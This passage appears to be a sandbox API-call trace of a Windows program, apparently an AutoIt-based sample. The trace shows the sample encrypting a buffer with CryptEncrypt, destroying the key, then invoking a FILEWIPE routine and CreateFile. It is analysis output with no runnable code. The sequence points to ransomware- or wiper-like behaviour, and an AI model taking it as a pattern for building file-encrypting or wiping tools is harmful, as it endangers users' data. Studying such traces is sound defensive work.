lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.942] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.942] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0022.943] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.943] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.943] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0022.943] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.943] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0022.944] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.944] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.944] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.944] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0022.944] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.944] CryptGetKeyParam (in: hKey=0xe8f4062640, dwParam=0x7, pbData=0xe8f4064bd0, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064bd0*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0022.945] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.945] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.945] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.945] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.945] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.945] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.945] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.945] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.945] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0022.945] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.945] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.945] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0022.945] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.945] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.945] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0022.945] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.945] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.945] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.945] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.945] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.945] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.945] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.945] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.945] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.946] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.946] CryptEncrypt (in: hKey=0xe8f4062640, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x16f8a, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x16f90) returned 1 [0022.946] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.946] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.946] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.946] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.946] CharLowerBuffW (in: lpsz="byte[94097]", cchLength=0xb | out: lpsz="byte[94097]") returned 0xb [0022.946] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.948] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.948] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.948] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.958] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.958] CryptEncrypt (in: hKey=0xe8f4062640, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f42058b0*, pdwDataLen=0xe8f3dfdf68*=0x16f8a, dwBufLen=0x16f90 | out: pbData=0xe8f42058b0*, pdwDataLen=0xe8f3dfdf68*=0x16f90) returned 1 [0022.958] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.958] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.958] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.959] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.959] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.959] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.959] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0022.959] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.959] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0022.959] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.959] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.959] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.959] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.959] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0022.959] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.959] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.959] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.963] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.963] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.963] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.965] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.965] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.965] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0022.965] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.965] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.965] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0022.965] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.965] CryptDestroyKey (hKey=0xe8f4062640) returned 1 [0022.965] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.965] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.965] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0022.965] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0022.965] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0022.965] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0022.965] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0022.965] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0022.965] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.965] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0022.965] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0022.965] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0022.965] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.965] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.965] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.965] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0022.965] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.966] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0022.966] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.966] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.966] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.966] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.966] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0022.966] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.966] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.966] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0022.966] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0022.966] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0022.966] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.966] CryptReleaseContext (hProv=0xe8f40633c0, dwFlags=0x0) returned 1 [0022.966] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.966] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.966] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0022.966] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.966] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.966] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.967] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.968] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.969] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.970] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0022.970] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.970] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.970] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.970] CharLowerBuffW (in: lpsz="byte[94090]", cchLength=0xb | out: lpsz="byte[94090]") returned 0xb [0022.971] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.971] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0022.971] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.971] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0022.972] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.972] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.972] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.972] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0022.972] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.972] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.972] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.972] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.972] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.972] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.972] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.972] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.972] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.972] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.972] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.972] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.972] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.972] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.972] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.972] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.972] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0022.972] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.972] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.972] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 